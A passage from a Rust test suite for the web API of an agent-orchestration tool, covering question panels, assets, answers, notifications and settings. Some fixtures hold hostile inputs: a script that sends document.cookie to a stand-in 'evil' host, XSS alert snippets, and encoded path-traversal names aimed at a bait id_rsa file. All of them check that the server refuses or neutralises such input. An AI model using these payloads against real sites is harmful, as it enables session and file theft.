9407 let pre = fx.head(&path).await;
9412 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9413 assert_eq!(
9414 pre.header("content-security-policy"),
9415 res.header("content-security-policy"),
9416 "{path}: the preflight carries the same policy"
9417 );
9418 assert_eq!(
9419 pre.header("content-type"),
9420 res.header("content-type"),
9421 "{path}: the preflight carries the same type"
9422 );
9423 }
9424 }
9425
9426 #[tokio::test]
9427 async fn a_panel_reaches_the_browser_byte_for_byte() {
9428 let fx = Fixture::start().await;
9429 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9434 let id = panel(&fx, html, &[]);
9435
9436 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9437
9438 assert_eq!(res.status, 200);
9439 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9440 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9441 assert_eq!(
9442 res.header("content-disposition"),
9443 None,
9444 "the panel itself is rendered in the frame, not downloaded"
9445 );
9446 }
9447
9448 #[tokio::test]
9449 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9450 let fx = Fixture::start().await;
9451 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9452 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9453 let id = panel(
9454 &fx,
9455 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9456 &[("diff.svg", svg), ("shot.png", png)],
9457 );
9458
9459 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9460 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9461
9462 assert_eq!(as_svg.status, 200);
9463 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9464 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9469
9470 assert_eq!(as_png.status, 200);
9471 assert_eq!(as_png.header("content-type"), Some("image/png"));
9472 assert_eq!(
9473 as_png.header("content-disposition"),
9474 None,
9475 "a raster image has no execution surface, so tapping it still shows it"
9476 );
9477 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9478 }
9479
9480 #[tokio::test]
9481 async fn an_html_asset_is_never_served_as_html() {
9482 let fx = Fixture::start().await;
9483 let id = panel(
9484 &fx,
9485 "<p>see the notes</p>",
9486 &[
9487 (
9488 "notes.html",
9489 b"<script>fetch('http://evil/'+document.cookie)</script>",
9490 ),
9491 ("hook.js", b"fetch('http://evil/')"),
9492 ("data.json", b"{}"),
9493 ("HEADLINE.TXT", b"plain"),
9494 ],
9495 );
9496
9497 for name in ["notes.html", "hook.js", "data.json"] {
9498 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9499 assert_eq!(res.status, 200, "{name}: {}", res.body);
9500 assert_eq!(
9505 res.header("content-type"),
9506 Some("application/octet-stream"),
9507 "{name} must not be a type the browser will execute or render"
9508 );
9509 }
9510 let txt = fx
9513 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9514 .await;
9515 assert_eq!(
9516 txt.header("content-type"),
9517 Some("text/plain; charset=utf-8")
9518 );
9519 }
9520
9521 #[tokio::test]
9522 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9523 let fx = Fixture::start().await;
9524 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9525 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9529
9530 for encoded in [
9537 "%2e%2e%2fid_rsa",
9538 "..%2fid_rsa",
9539 "..%5cid_rsa",
9540 "%2e%2e%5cid_rsa",
9541 "diff%00.svg",
9542 "..",
9543 ".hidden",
9544 "%2e%2e%2f%2e%2e%2fid_rsa",
9545 ] {
9546 let res = fx
9547 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9548 .await;
9549 assert_eq!(
9550 res.status, 400,
9551 "`{encoded}` has to be refused by name, not looked up: {}",
9552 res.body
9553 );
9554 assert!(res.json()["error"].is_string(), "{}", res.body);
9555 }
9556
9557 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9563 let res = fx
9564 .get(&format!("/api/questions/{id}/asset/{literal}"))
9565 .await;
9566 assert_eq!(
9567 res.status, 404,
9568 "`{literal}` must not match the asset route at all: {}",
9569 res.body
9570 );
9571 }
9572 }
9573
9574 #[tokio::test]
9575 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9576 let fx = Fixture::start().await;
9577 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9578 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9579
9580 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9584 assert_eq!(none.status, 404, "{}", none.body);
9585 assert!(none.json()["error"].is_string(), "{}", none.body);
9586 assert_eq!(
9587 fx.head(&format!("/api/questions/{plain}/panel"))
9588 .await
9589 .status,
9590 404,
9591 "the preflight is the only way the client can learn this"
9592 );
9593
9594 let missing = fx
9596 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9597 .await;
9598 assert_eq!(missing.status, 404, "{}", missing.body);
9599 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9600
9601 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9603 assert_eq!(
9604 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9605 404
9606 );
9607 }
9608
9609 #[tokio::test]
9610 async fn a_run_with_an_open_question_reads_as_waiting() {
9611 let fx = Fixture::start().await;
9612 let run = "20260902-000000-beef".to_owned();
9613 write_run(&fx.runs(), &run, RunStatus::Implementing);
9614
9615 let before = fx.get("/api/runs").await.json();
9616 assert_eq!(before[0]["waiting"], false, "{before}");
9617
9618 let store = fx.questions();
9619 let mut q = Question::new(
9620 run.clone(),
9621 "implement".to_owned(),
9622 "impl-A".to_owned(),
9623 "Which backend?".to_owned(),
9624 String::new(),
9625 vec!["SQLite".to_owned()],
9626 );
9627 store.put(&mut q).expect("put");
9628
9629 let during = fx.get("/api/runs").await.json();
9630 assert_eq!(during[0]["waiting"], true, "{during}");
9631
9632 q.answer(Answer::Choice("SQLite".to_owned()))
9635 .expect("answer");
9636 store.put(&mut q).expect("put");
9637 let after = fx.get("/api/runs").await.json();
9638 assert_eq!(after[0]["waiting"], false, "{after}");
9639 }
9640
9641 #[tokio::test]
9642 async fn an_open_question_is_listed_and_counted_by_health() {
9643 let fx = Fixture::start().await;
9644 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9645
9646 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9647 let listed = fx.get("/api/questions").await.json();
9648 assert_eq!(listed.as_array().expect("array").len(), 1);
9649 assert_eq!(listed[0]["id"], id);
9650 assert_eq!(listed[0]["status"], "open");
9651 assert_eq!(listed[0]["choices"][1], "Redis");
9652 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9655 }
9656
9657 #[tokio::test]
9658 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9659 let fx = Fixture::start().await;
9660 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9661 let path = format!("/api/questions/{id}/answer");
9662
9663 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9664 assert_eq!(res.status, 200, "{}", res.body);
9665 let body = res.json();
9666 assert_eq!(body["status"], "answered");
9667 assert_eq!(body["answer"]["choice"], "Redis");
9668
9669 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9673 assert_eq!(again.status, 409, "{}", again.body);
9674 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9675 }
9676
9677 #[tokio::test]
9678 async fn saying_something_appends_a_turn_without_answering() {
9679 let fx = Fixture::start().await;
9680 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9681 let path = format!("/api/questions/{id}/say");
9682
9683 let res = fx
9684 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9685 .await;
9686 assert_eq!(res.status, 200, "{}", res.body);
9687 let body = res.json();
9688 assert_eq!(body["status"], "open", "talking back is not a decision");
9689 assert_eq!(body["answer"], Value::Null);
9690 assert_eq!(body["thread"][0]["who"], "operator");
9691 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9692 assert_eq!(body["waiting_on_agent"], true);
9693 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9695 }
9696
9697 #[tokio::test]
9698 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9699 let fx = Fixture::start().await;
9700 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9701
9702 let list = fx.get("/api/questions").await.json();
9703 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9704
9705 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9706 assert_eq!(res.status, 409, "{}", res.body);
9707 let q = fx.questions().get(&id).unwrap();
9708 assert!(q.status.open());
9709 assert!(q.consult.is_none());
9710 }
9711
9712 #[tokio::test]
9713 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9714 let fx = Fixture::start().await;
9715 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9716 let cfg = Config {
9717 agents: vec![crate::config::AgentSpec {
9718 id: "mock".to_owned(),
9719 kind: crate::config::AgentKind::Command,
9720 model: None,
9721 command: vec!["true".to_owned()],
9722 extra_args: Vec::new(),
9723 env: Default::default(),
9724 prompt_delivery: None,
9725 }],
9726 ..Config::default()
9727 };
9728 let talk = crate::talk::begin(
9729 &fx.talks(),
9730 &cfg,
9731 fx.home.path().to_path_buf(),
9732 Some("mock"),
9733 )
9734 .unwrap();
9735 let mut task = Task::new(
9736 "t".to_owned(),
9737 "Do it".to_owned(),
9738 PathBuf::from("/repo/magi"),
9739 Source::Agent {
9740 run: talk.id.clone(),
9741 node: crate::queue::CHAT_NODE.to_owned(),
9742 },
9743 );
9744 task.start("20260902-000000-beef".to_owned());
9745 fx.queue().put(&mut task).unwrap();
9746
9747 let list = fx.get("/api/questions").await.json();
9748 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9749 assert_eq!(
9750 list[0]["choices"],
9751 serde_json::json!(["SQLite", "Redis"]),
9752 "the hand-over is never a choice"
9753 );
9754 fx.questions()
9755 .update(&id, |q| {
9756 q.node = crate::land::APPROVAL_NODE.into();
9757 q.choices = vec!["merge".into(), "hold".into()];
9758 Ok(())
9759 })
9760 .unwrap();
9761 let list = fx.get("/api/questions").await.json();
9762 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9763 let _ = id;
9764 }
9765
9766 #[tokio::test]
9767 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9768 let fx = Fixture::start().await;
9769 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9770 fx.questions()
9771 .update(&id, |q| {
9772 q.node = crate::land::APPROVAL_NODE.into();
9773 q.choices = vec!["merge".into(), "hold".into()];
9774 Ok(())
9775 })
9776 .unwrap();
9777 let cfg = Config {
9778 agents: vec![crate::config::AgentSpec {
9779 id: "mock".to_owned(),
9780 kind: crate::config::AgentKind::Command,
9781 model: None,
9782 command: vec!["true".to_owned()],
9783 extra_args: Vec::new(),
9784 env: Default::default(),
9785 prompt_delivery: None,
9786 }],
9787 ..Config::default()
9788 };
9789 let repo = fx.home.path().join("chat-repo");
9791 std::fs::create_dir_all(&repo).unwrap();
9792 let toml = repo.join("magi.toml");
9793 std::fs::write(&toml, "this is = = not toml").unwrap();
9794 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9795 let mut task = Task::new(
9796 "t".to_owned(),
9797 "Do it".to_owned(),
9798 PathBuf::from("/repo/magi"),
9799 Source::Agent {
9800 run: talk.id.clone(),
9801 node: crate::queue::CHAT_NODE.to_owned(),
9802 },
9803 );
9804 task.start("20260902-000000-beef".to_owned());
9805 fx.queue().put(&mut task).unwrap();
9806
9807 let path = format!("/api/questions/{id}/consult");
9808 let res = fx.post(&path, None).await;
9809 assert!(res.status >= 400, "{}", res.body);
9810 assert!(fx.questions().get(&id).unwrap().consult.is_none());
9811 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9812
9813 std::fs::write(&toml, "").unwrap();
9814 let res = fx.post(&path, None).await;
9815 assert_eq!(res.status, 202, "{}", res.body);
9816 assert!(fx.questions().get(&id).unwrap().consult.is_some());
9817 let q = fx.questions().get(&id).unwrap();
9818 assert!(q.status.open());
9819 assert!(q.answer.is_none());
9820 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9821 }
9822
9823 #[tokio::test]
9824 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9825 let fx = Fixture::start().await;
9826 let store = fx.questions();
9827 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9828 assert_eq!(
9829 fx.get("/api/health").await.json()["questions_needs_owner"],
9830 1
9831 );
9832
9833 let res = fx
9839 .post(
9840 &format!("/api/questions/{id}/say"),
9841 Some(r#"{"body":"why not Postgres?"}"#),
9842 )
9843 .await;
9844 assert_eq!(res.status, 200, "{}", res.body);
9845 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9846 assert_eq!(
9847 fx.get("/api/health").await.json()["questions_needs_owner"],
9848 0,
9849 "waiting on the agent is not waiting on the owner"
9850 );
9851
9852 let mut q = store.get(&id).expect("get");
9856 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9857 .expect("reply");
9858 store.put(&mut q).expect("put");
9859 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9860 assert_eq!(
9861 fx.get("/api/health").await.json()["questions_needs_owner"],
9862 1,
9863 "the agent's reply is what should light the banner back up"
9864 );
9865 }
9866
9867 #[tokio::test]
9868 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9869 let fx = Fixture::start().await;
9870 let store = fx.questions();
9871
9872 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9873 let res = fx
9874 .post(
9875 &format!("/api/questions/{empty_id}/say"),
9876 Some(r#"{"body":" "}"#),
9877 )
9878 .await;
9879 assert_eq!(res.status, 400, "{}", res.body);
9880
9881 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9882 let mut answered = store.get(&answered_id).expect("get");
9883 answered
9884 .answer(Answer::Choice("SQLite".to_owned()))
9885 .expect("answer");
9886 store.put(&mut answered).expect("put");
9887 let res = fx
9888 .post(
9889 &format!("/api/questions/{answered_id}/say"),
9890 Some(r#"{"body":"still there?"}"#),
9891 )
9892 .await;
9893 assert_eq!(res.status, 409, "{}", res.body);
9894
9895 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9896 let mut abandoned = store.get(&abandoned_id).expect("get");
9897 abandoned.abandon("timed out");
9898 store.put(&mut abandoned).expect("put");
9899 let res = fx
9900 .post(
9901 &format!("/api/questions/{abandoned_id}/say"),
9902 Some(r#"{"body":"still there?"}"#),
9903 )
9904 .await;
9905 assert_eq!(res.status, 409, "{}", res.body);
9906 }
9907
9908 #[tokio::test]
9909 async fn an_answer_the_question_does_not_offer_is_refused() {
9910 let fx = Fixture::start().await;
9911 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9912 let path = format!("/api/questions/{id}/answer");
9913
9914 for body in [
9915 r#"{"choice":"Postgres"}"#,
9916 r#"{"text":"whatever you think"}"#,
9917 r#"{"choice":"Redis","text":"both"}"#,
9918 r#"{}"#,
9919 ] {
9920 let res = fx.post(&path, Some(body)).await;
9921 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9922 assert!(res.json()["error"].is_string(), "{}", res.body);
9923 }
9924 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9926 }
9927
9928 #[tokio::test]
9929 async fn a_free_text_question_takes_text_and_not_a_choice() {
9930 let fx = Fixture::start().await;
9931 let id = ask(&fx, "What should the flag be called?", &[]);
9932 let path = format!("/api/questions/{id}/answer");
9933
9934 assert_eq!(
9935 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9936 400
9937 );
9938 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9939 assert_eq!(res.status, 200, "{}", res.body);
9940 assert_eq!(res.json()["answer"]["text"], "--json");
9941 }
9942
9943 #[tokio::test]
9944 async fn an_unknown_question_is_a_json_404() {
9945 let fx = Fixture::start().await;
9946 let res = fx
9947 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9948 .await;
9949 assert_eq!(res.status, 404, "{}", res.body);
9950 assert!(res.json()["error"].is_string());
9951 }
9952
9953 #[tokio::test]
9954 async fn notifications_list_read_dismiss_and_health_agree() {
9955 let fx = Fixture::start().await;
9956 let store = Notices::at(fx.home.path().join("notifications"));
9957 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9958 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9959
9960 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9961 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9962
9963 let health = fx.get("/api/health").await.json();
9964 assert_eq!(health["notifications_unread"], 2);
9965 assert_ne!(
9966 health["notifications_rev"], rev0,
9967 "the badge must move live"
9968 );
9969
9970 let listed = fx.get("/api/notifications").await.json();
9971 assert_eq!(listed["unread"], 2);
9972 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9973 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9974
9975 let read = fx
9976 .post(&format!("/api/notifications/{}/read", a.id), None)
9977 .await;
9978 assert_eq!(read.status, 200, "{}", read.body);
9979 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9980
9981 let gone = fx
9982 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9983 .await;
9984 assert_eq!(gone.status, 200, "{}", gone.body);
9985 let listed = fx.get("/api/notifications").await.json();
9986 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9987 assert_eq!(listed["unread"], 0);
9988
9989 store.raise(Notice::info("x", "again")).unwrap();
9990 let all = fx.post("/api/notifications/read-all", None).await;
9991 assert_eq!(all.status, 200, "{}", all.body);
9992 assert_eq!(all.json()["marked"], 1);
9993 assert_eq!(
9994 fx.get("/api/health").await.json()["notifications_unread"],
9995 0
9996 );
9997
9998 let missing = fx.post("/api/notifications/nope/read", None).await;
9999 assert_eq!(missing.status, 404, "{}", missing.body);
10000 assert!(missing.json()["error"].is_string());
10001 }
10002
10003 #[tokio::test]
10010 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10011 let f = Fixture::start().await;
10012
10013 let res = f
10014 .post(
10015 "/api/queue",
10016 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10017 )
10018 .await;
10019
10020 assert_eq!(
10021 res.status, 405,
10022 "POST /api/queue must not be a route: {}",
10023 res.body
10024 );
10025 assert!(
10026 f.queue().list().is_empty(),
10027 "a task filed by a route that does not exist must not reach the disk"
10028 );
10029 assert_eq!(f.get("/api/queue").await.status, 200);
10032 }
10033
10034 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10036 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10037 .expect("checkout dir");
10038 }
10039
10040 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10042
10043 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10044 let tmp = TempDir::new().expect("tempdir");
10045 let repo = tmp.path().join("repo");
10046 std::fs::create_dir_all(&repo).expect("repo dir");
10047 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10048 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10049 if let Some(text) = machine_toml {
10050 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10051 std::fs::write(&machine, text).expect("machine toml");
10052 }
10053 (tmp, repo, machine)
10054 }
10055
10056 async fn settings_checkout(path: &FsPath, text: &str) {
10057 std::fs::create_dir_all(path).unwrap();
10058 std::fs::write(path.join("magi.toml"), text).unwrap();
10059 for args in [
10060 vec!["init", "-b", "main"],
10061 vec!["add", "magi.toml"],
10062 vec![
10063 "-c",
10064 "user.name=Test",
10065 "-c",
10066 "user.email=test@example.invalid",
10067 "commit",
10068 "-m",
10069 "fixture",
10070 ],
10071 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10072 vec![
10073 "symbolic-ref",
10074 "refs/remotes/origin/HEAD",
10075 "refs/remotes/origin/main",
10076 ],
10077 ] {
10078 crate::git::git(path, &args).await.unwrap();
10079 }
10080 }
10081
10082 #[tokio::test]
10083 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10084 let (tmp, repo, machine) =
10085 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10086 let root = tmp.path().join("roots");
10087 let selected = root.join("host/owner/selected");
10088 settings_checkout(
10089 &selected,
10090 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10091 )
10092 .await;
10093 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10094 let before = std::fs::read(&machine).unwrap();
10095 let ui = Arc::new(
10096 Ui::new(
10097 Queue::at(tmp.path().join("queue")),
10098 Questions::at(tmp.path().join("questions")),
10099 Talks::at(tmp.path().join("talks")),
10100 tmp.path().join("runs"),
10101 tmp.path().to_path_buf(),
10102 repo.clone(),
10103 )
10104 .with_machine_config(Some(machine.clone())),
10105 );
10106 let query = || {
10107 Query(SettingsQuery {
10108 repo: Some(selected.clone()),
10109 })
10110 };
10111 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10112 assert!(v.error.is_none(), "{:?}", v.error);
10113 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10114 assert_eq!(conductor.source, "repo");
10115 assert_eq!(
10116 conductor.machine_value,
10117 Some(toml::Value::String("a".into()))
10118 );
10119 assert!(!conductor.editable);
10120 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10121 assert_eq!(
10122 judges.count.as_ref().unwrap().machine_value,
10123 Some(toml::Value::Integer(1))
10124 );
10125 assert!(
10126 !v.roles
10127 .iter()
10128 .find(|r| r.key == "reviewers")
10129 .unwrap()
10130 .editable
10131 );
10132 let unknown = || {
10133 Query(SettingsQuery {
10134 repo: Some(tmp.path().to_path_buf()),
10135 })
10136 };
10137 assert_eq!(
10138 settings_get(State(ui.clone()), unknown())
10139 .await
10140 .unwrap_err()
10141 .status,
10142 StatusCode::UNPROCESSABLE_ENTITY
10143 );
10144 let body = || {
10145 Ok(Json(RolesBody {
10146 revision: v.revision.clone(),
10147 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10148 counts: Default::default(),
10149 }))
10150 };
10151 assert_eq!(
10152 settings_put_roles(State(ui.clone()), unknown(), body())
10153 .await
10154 .unwrap_err()
10155 .status,
10156 StatusCode::UNPROCESSABLE_ENTITY
10157 );
10158 assert_eq!(std::fs::read(&machine).unwrap(), before);
10159 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10160 .await
10161 .unwrap();
10162 assert_eq!(
10163 saved.repo,
10164 selected.canonicalize().unwrap().display().to_string()
10165 );
10166 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10167 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10168 let fresh = root.join("host/owner/fresh");
10170 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10171 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10172 .await
10173 .unwrap();
10174 assert_eq!(fresh_view.repositories.len(), 3);
10175 }
10176
10177 #[tokio::test]
10178 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10179 let (tmp, repo, machine) = settings_dirs(
10180 "[roles]\nreviewers = [\"a\"]\n",
10181 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10182 );
10183 let root = tmp.path().join("roots");
10184 let selected = root.join("host/owner/selected");
10185 settings_checkout(
10186 &selected,
10187 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10188 )
10189 .await;
10190 let broken = root.join("host/owner/broken");
10191 settings_checkout(&broken, "[roles\nbroken").await;
10192 let machine_text = format!(
10193 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10194 toml::Value::String(root.display().to_string())
10195 );
10196 std::fs::write(&machine, &machine_text).unwrap();
10197 let originals: Vec<_> = [&repo, &selected, &broken]
10198 .iter()
10199 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10200 .collect();
10201 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10202 let default = f.get("/api/settings").await.json();
10203 assert_eq!(
10204 default["repo"],
10205 repo.canonicalize().unwrap().display().to_string()
10206 );
10207 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10208 let query = format!("?repo={}", selected.display());
10209 let res = f.get(&format!("/api/settings{query}")).await;
10210 assert_eq!(res.status, 200, "{}", res.body);
10211 let v = res.json();
10212 assert!(v["error"].is_null(), "{v}");
10213 assert_eq!(v["repositories"], default["repositories"]);
10214 let role = |key: &str| {
10215 v["roles"]
10216 .as_array()
10217 .unwrap()
10218 .iter()
10219 .find(|r| r["key"] == key)
10220 .unwrap()
10221 };
10222 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10223 assert_eq!(role("advisors")["source"], "repo");
10224 assert_eq!(role("advisors")["editable"], false);
10225 assert!(role("advisors")["machine_value"].is_null());
10226 assert_eq!(role("judges")["count"]["value"], 2);
10227 assert_eq!(role("judges")["count"]["machine_value"], 1);
10228 assert_eq!(role("judges")["count"]["source"], "repo");
10229 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10230 assert!(
10231 source.contains("origin/main") && !source.contains("magi/config/"),
10232 "{source}"
10233 );
10234 assert_eq!(
10235 role("reviewers")["editable"],
10236 false,
10237 "default context outside roots must protect its declarations"
10238 );
10239 let body =
10240 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10241 let unknown = format!("?repo={}", tmp.path().display());
10242 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10243 assert_eq!(
10244 f.put(&format!("/api/settings/roles{unknown}"), &body)
10245 .await
10246 .status,
10247 422
10248 );
10249 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10250 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10251 .to_string();
10252 assert_eq!(
10253 f.put(&format!("/api/settings/roles{query}"), &refuse)
10254 .await
10255 .status,
10256 422
10257 );
10258 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10259 assert_eq!(saved.status, 200, "{}", saved.body);
10260 assert_eq!(saved.json()["repo"], v["repo"]);
10261 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10262 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10263 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10264 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10265 }
10266 let error = f
10267 .get(&format!("/api/settings?repo={}", broken.display()))
10268 .await;
10269 assert_eq!(error.status, 200);
10270 assert!(error.json()["error"]["message"].is_string());
10271 assert_eq!(error.json()["repositories"], default["repositories"]);
10272 }
10273
10274 #[tokio::test]
10275 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10276 let (_tmp, repo, machine) =
10277 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10278 let f = Fixture::with_repo_and_machine(repo, machine).await;
10279 let res = f.get("/api/settings").await;
10280 assert_eq!(res.status, 200, "{}", res.body);
10281 let v = res.json();
10282 assert!(v["error"].is_null(), "{v}");
10283 let role = |k: &str| {
10284 v["roles"]
10285 .as_array()
10286 .and_then(|r| r.iter().find(|x| x["key"] == k))
10287 .cloned()
10288 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10289 };
10290 assert_eq!(role("judges")["source"], "machine");
10291 assert_eq!(role("judges")["editable"], true);
10292 assert_eq!(role("implementers")["source"], "default");
10293 let adv = role("advisors");
10294 assert_eq!(adv["fallback"], "judges");
10295 assert!(
10296 adv["seats"]
10297 .as_array()
10298 .is_some_and(|s| s.iter().all(|x| x == "b")),
10299 "{adv}"
10300 );
10301 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10302 assert_eq!(v["agents"][0]["source"], "repo");
10303 }
10304
10305 #[tokio::test]
10306 async fn settings_get_reports_a_config_that_does_not_parse() {
10307 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10308 let f = Fixture::with_repo_and_machine(repo, machine).await;
10309 let res = f.get("/api/settings").await;
10310 assert_eq!(res.status, 200, "{}", res.body);
10311 let v = res.json();
10312 assert!(v["error"]["message"].is_string(), "{v}");
10313 assert!(
10314 v["error"]["path"]
10315 .as_str()
10316 .is_some_and(|p| p.ends_with("magi.toml")),
10317 "{v}"
10318 );
10319 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10320 }
10321
10322 #[tokio::test]
10323 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10324 let (_tmp, repo, machine) = settings_dirs(
10325 SETTINGS_AGENTS,
10326 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10327 );
10328 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
